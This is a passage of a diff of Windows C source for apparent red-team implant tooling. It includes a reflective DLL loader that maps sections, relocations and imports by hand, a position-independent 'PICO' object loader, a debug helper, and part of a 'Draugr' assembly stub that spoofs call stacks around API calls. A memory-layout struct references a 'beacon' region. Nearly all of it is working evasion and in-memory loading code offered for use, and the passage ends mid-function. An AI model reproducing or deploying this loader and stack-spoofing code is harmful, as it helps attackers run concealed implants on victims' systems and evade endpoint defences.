*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
|
||||
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
|
||||
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
|
||||
}
|
||||
|
||||
relocEntry++;
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
|
||||
IMAGE_DATA_DIRECTORY * relocationData;
|
||||
ULONG_PTR newBaseAddress;
|
||||
IMAGE_BASE_RELOCATION * relocation;
|
||||
|
||||
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
|
||||
|
||||
/* check if there are relocations present */
|
||||
if (relocationData->Size) {
|
||||
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
|
||||
|
||||
while (relocation->SizeOfBlock) {
|
||||
/* process this next relocation */
|
||||
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
|
||||
|
||||
/* go on to our next relocation */
|
||||
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
|
||||
void * hLib;
|
||||
IMAGE_THUNK_DATA * firstThunk;
|
||||
IMAGE_THUNK_DATA * originalFirstThunk;
|
||||
IMAGE_IMPORT_BY_NAME * importByName;
|
||||
ULONG_PTR importByOrdinal;
|
||||
|
||||
/* load whatever library we need here */
|
||||
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
|
||||
|
||||
/* get our thunks */
|
||||
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
|
||||
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
|
||||
|
||||
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
|
||||
* The different member names seem more for semantics than anything else. We're skipping the
|
||||
* field names in the union and just stomping over whatever is in this pointer-sized structure */
|
||||
|
||||
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
|
||||
|
||||
while ( DEREF(firstThunk) ) {
|
||||
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
|
||||
/*
|
||||
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
|
||||
* that our pointer is < MAXUSHORT ala ReactOS:
|
||||
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
|
||||
*/
|
||||
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
|
||||
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
|
||||
}
|
||||
/* OK, we are doing an import by name. */
|
||||
else {
|
||||
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
|
||||
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
|
||||
}
|
||||
|
||||
/* increment our pointers, to look at next import option */
|
||||
firstThunk++;
|
||||
if (originalFirstThunk)
|
||||
originalFirstThunk++;
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
|
||||
IMAGE_DATA_DIRECTORY * importTableHdr;
|
||||
IMAGE_IMPORT_DESCRIPTOR * importDesc;
|
||||
|
||||
/* grab our header for the import table */
|
||||
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
|
||||
|
||||
/* start with the first function of our import table, we're working solely from our destination memory now */
|
||||
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
|
||||
|
||||
/* walk our import table and process each of the entries */
|
||||
while (importDesc->Name) {
|
||||
ProcessImport(funcs, dll, dst, importDesc);
|
||||
importDesc++;
|
||||
}
|
||||
}
|
||||
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst) {
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
void * sectionSrc = NULL;
|
||||
|
||||
/* our first section! */
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int x = 0; x < numberOfSections; x++) {
|
||||
/* our source data to copy from */
|
||||
sectionSrc = src + sectionHdr->PointerToRawData;
|
||||
|
||||
/* our destination data */
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
|
||||
/* copy our section data over */
|
||||
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
|
||||
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
|
||||
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void ParseDLL(char * src, DLLDATA * data) {
|
||||
data->DosHeader = (IMAGE_DOS_HEADER *)src;
|
||||
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
|
||||
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
|
||||
}
|
||||
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
|
||||
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
|
||||
}
|
||||
|
||||
DWORD SizeOfDLL(DLLDATA * data) {
|
||||
return data->OptionalHeader->SizeOfImage;
|
||||
}
|
||||
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
|
||||
/* load our section data */
|
||||
LoadSections(dll, src, dst);
|
||||
|
||||
/* process our relocations */
|
||||
ProcessRelocations(dll, src, dst);
|
||||
}
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
char * resolve(DWORD modHash, DWORD funcHash) {
|
||||
char * hModule = (char *)findModuleByHash(modHash);
|
||||
return findFunctionByHash(hModule, funcHash);
|
||||
}
|
||||
@@ -1,154 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
* provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
@@ -1,3 +1,31 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
@@ -16,5 +44,5 @@ typedef struct {
|
||||
typedef struct {
|
||||
MEMORY_REGION pic;
|
||||
MEMORY_REGION hooks;
|
||||
MEMORY_REGION beacon;
|
||||
MEMORY_REGION dll;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -1,25 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
WINBASEAPI int STDAPIVCALLTYPE MSVCRT$vsnprintf (char *, size_t, const char *, ...);
|
||||
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
WINBASEAPI VOID WINAPI KERNEL32$OutputDebugStringA (LPCSTR);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
|
||||
|
||||
void dprintf(char * format, ...)
|
||||
{
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
|
||||
int len = MSVCRT$vsnprintf(NULL, 0, format, args);
|
||||
char * temp = (char *)KERNEL32$VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (temp == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
MSVCRT$vsnprintf(temp, len + 1, format, args);
|
||||
KERNEL32$OutputDebugStringA(temp);
|
||||
KERNEL32$VirtualFree(temp, 0, MEM_RELEASE);
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
@@ -1,205 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
int codeLength;
|
||||
int dataLength;
|
||||
int rsrcOffset;
|
||||
int entryAddress;
|
||||
} PICO_HDR;
|
||||
|
||||
#define FIRST_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + sizeof(PICO_HDR))
|
||||
#define NEXT_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + x->length);
|
||||
|
||||
#define PICO_INST_COMPLETE 0x0
|
||||
#define PICO_INST_PATCH 0x1
|
||||
#define PICO_INST_COPY 0x2
|
||||
#define PICO_INST_LL 0x3
|
||||
#define PICO_INST_GPA 0x4
|
||||
#define PICO_INST_PATCH_DIFF 0x5
|
||||
#define PICO_INST_PATCH_FUNC 0x6
|
||||
|
||||
#define PICO_PATCH_TEXT_TEXT 0x0
|
||||
#define PICO_PATCH_TEXT_BASE 0x1
|
||||
#define PICO_PATCH_BASE_TEXT 0x2
|
||||
#define PICO_PATCH_BASE_BASE 0x3
|
||||
|
||||
#define PICO_PATCHF_FUNC 0x0
|
||||
|
||||
#define PICO_CONTEXT_CODE 0x5
|
||||
#define PICO_CONTEXT_DATA 0x6
|
||||
|
||||
typedef struct {
|
||||
char type;
|
||||
char option;
|
||||
short length;
|
||||
} PICO_DIRECTIVE_HDR;
|
||||
|
||||
typedef struct {
|
||||
PICO_DIRECTIVE_HDR hdr;
|
||||
int offset;
|
||||
} PICO_DIRECTIVE_PATCH;
|
||||
|
||||
typedef struct {
|
||||
PICO_DIRECTIVE_HDR hdr;
|
||||
int src_offset;
|
||||
int dst_offset;
|
||||
int total;
|
||||
} PICO_DIRECTIVE_COPY;
|
||||
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base) {
|
||||
PICO_HDR * hdr = (PICO_HDR *)src;
|
||||
return (PICOMAIN_FUNC)( (char *)base + hdr->entryAddress );
|
||||
}
|
||||
|
||||
int PicoCodeSize(char * src) {
|
||||
return ( (PICO_HDR *)src )->codeLength;
|
||||
}
|
||||
|
||||
int PicoDataSize(char * src) {
|
||||
return ( (PICO_HDR *)src )->dataLength;
|
||||
}
|
||||
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData) {
|
||||
PICO_DIRECTIVE_HDR * entry;
|
||||
PICO_DIRECTIVE_PATCH * patch;
|
||||
PICO_DIRECTIVE_COPY * copy;
|
||||
HANDLE module;
|
||||
char * address;
|
||||
PICO_HDR * hdr = (PICO_HDR *)src;
|
||||
|
||||
entry = FIRST_PICO_DIRECTIVE(hdr);
|
||||
while (TRUE) {
|
||||
/*
|
||||
* The heart and soul of PICO loading. Patching pointers into our destination blob
|
||||
* to make sure everything works as hoped and expected. x86 doesn't do indirect addressing
|
||||
* so there's a lot more patches there. But x64 needs some pointer patching too.
|
||||
*/
|
||||
if (entry->type == PICO_INST_PATCH) {
|
||||
ULONG_PTR value;
|
||||
ULONG_PTR src;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
if (entry->option == PICO_PATCH_TEXT_TEXT) {
|
||||
src = (ULONG_PTR)dstCode;
|
||||
value = (ULONG_PTR)dstCode;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_TEXT_BASE) {
|
||||
src = (ULONG_PTR)dstCode;
|
||||
value = (ULONG_PTR)dstData;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_BASE_TEXT) {
|
||||
src = (ULONG_PTR)dstData;
|
||||
value = (ULONG_PTR)dstCode;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_BASE_BASE) {
|
||||
src = (ULONG_PTR)dstData;
|
||||
value = (ULONG_PTR)dstData;
|
||||
}
|
||||
|
||||
/* get the existing offset (from whatever base) within the .text section */
|
||||
value += *(ULONG_PTR *)(src + patch->offset);
|
||||
|
||||
/* set it back */
|
||||
*(ULONG_PTR *)(src + patch->offset) = value;
|
||||
}
|
||||
/*
|
||||
* This block is for updating our function table sitting in our data section. We're
|
||||
* either dumping the last resolved address at some specific slot OR we're pulling in
|
||||
* a pre-determined internal API (which is presumed to be an overloaded IMPORTFUNCS
|
||||
* structure... which we're treating as an array of function pointers basically)
|
||||
*/
|
||||
else if (entry->type == PICO_INST_PATCH_FUNC) {
|
||||
ULONG_PTR value;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
if (entry->option == PICO_PATCHF_FUNC) {
|
||||
value = (ULONG_PTR)address;
|
||||
}
|
||||
else {
|
||||
ULONG_PTR * table = (ULONG_PTR *)funcs;
|
||||
value = table[entry->option - 1];
|
||||
}
|
||||
|
||||
*(ULONG_PTR *)(dstData + patch->offset) = value;
|
||||
}
|
||||
/*
|
||||
* This is here to support keeping code + data in separate regions in x64 builds.
|
||||
*/
|
||||
#ifdef WIN_X64
|
||||
else if (entry->type == PICO_INST_PATCH_DIFF) {
|
||||
DWORD value;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
/* fetch the value currently at the patch address */
|
||||
value = *(DWORD *)(dstCode + patch->offset);
|
||||
|
||||
/* adjust the value */
|
||||
value += (ULONG_PTR)dstData - (ULONG_PTR)dstCode;
|
||||
|
||||
/* set it back */
|
||||
*(DWORD *)(dstCode + patch->offset) = value;
|
||||
}
|
||||
#endif
|
||||
/*
|
||||
* Directive copies from our packed src to our destination. We do it this way to allow
|
||||
* our .text section to pack down to its raw value and we expand it to its page-aligned
|
||||
* size after.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_COPY) {
|
||||
copy = (PICO_DIRECTIVE_COPY *)entry;
|
||||
char * dst;
|
||||
|
||||
/* make sure we're copying to the right context */
|
||||
if (entry->option == PICO_CONTEXT_CODE)
|
||||
dst = dstCode;
|
||||
else
|
||||
dst = dstData;
|
||||
|
||||
/* do our copy */
|
||||
__movsb((unsigned char *)dst + copy->dst_offset, (unsigned char *)src + hdr->rsrcOffset + copy->src_offset, copy->total);
|
||||
}
|
||||
/*
|
||||
* Directive does a LoadLibraryA() to set our handle. Used as a precursor to any
|
||||
* GetProcAddress lookups based on this later on.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_LL) {
|
||||
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
|
||||
module = funcs->LoadLibraryA(arg);
|
||||
}
|
||||
/*
|
||||
* Call GetProcAddress on an argument. A precursor to a PATCH_FUNC instruction to push
|
||||
* this pointer to the appropriate spot within our PICO blob.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_GPA) {
|
||||
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
|
||||
address = (char *)funcs->GetProcAddress(module, arg);
|
||||
}
|
||||
/*
|
||||
* An instruction to indicate the loading is complete and we should return.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_COMPLETE) {
|
||||
return;
|
||||
}
|
||||
|
||||
entry = NEXT_PICO_DIRECTIVE(entry);
|
||||
}
|
||||
}
|
||||
+33
-13
@@ -1,10 +1,30 @@
|
||||
|
||||
/*
|
||||
* This is just the Draugr assembly stub used to prep the stack
|
||||
* and make the API call. It does mean that anything calling this
|
||||
* has to do the work of prepping the structs with the fake
|
||||
* frame data and such...
|
||||
*/
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
void * __attribute__((naked)) SpoofStub()
|
||||
{
|
||||
@@ -16,7 +36,7 @@ void * __attribute__((naked)) SpoofStub()
|
||||
"mov rdi, [rsp + 32];" // Storing struct in rdi
|
||||
"mov rsi, [rsp + 40];" // Storing function to call
|
||||
|
||||
// Storing our original registers
|
||||
// Storing our original registers
|
||||
"mov [rdi + 24], r10;" // Storing OG rdi into param
|
||||
"mov [rdi + 88], r11;" // Storing OG rsi into param
|
||||
"mov [rdi + 96], r12;" // Storing OG r12 into param
|
||||
@@ -25,7 +45,7 @@ void * __attribute__((naked)) SpoofStub()
|
||||
"mov [rdi + 120], r15;" // Storing OG r15 into param
|
||||
"mov r12, rax;" // OG code used r12 for ret addr
|
||||
|
||||
// Prepping to move stack args
|
||||
// Prepping to move stack args
|
||||
"xor r11, r11;" // r11 will hold the # of args that have been pushed
|
||||
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
|
||||
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
|
||||
@@ -41,17 +61,17 @@ void * __attribute__((naked)) SpoofStub()
|
||||
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
|
||||
"je finish;"
|
||||
|
||||
// Getting location to move the stack arg to
|
||||
// Getting location to move the stack arg to
|
||||
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
"mov r15, rsp;" // get current stack base
|
||||
"sub r15, r14;" // subtract offset
|
||||
|
||||
// Procuring the stack arg
|
||||
// Procuring the stack arg
|
||||
"add r10, 8;"
|
||||
"push qword ptr [r10];"
|
||||
"pop qword ptr [r15];"
|
||||
|
||||
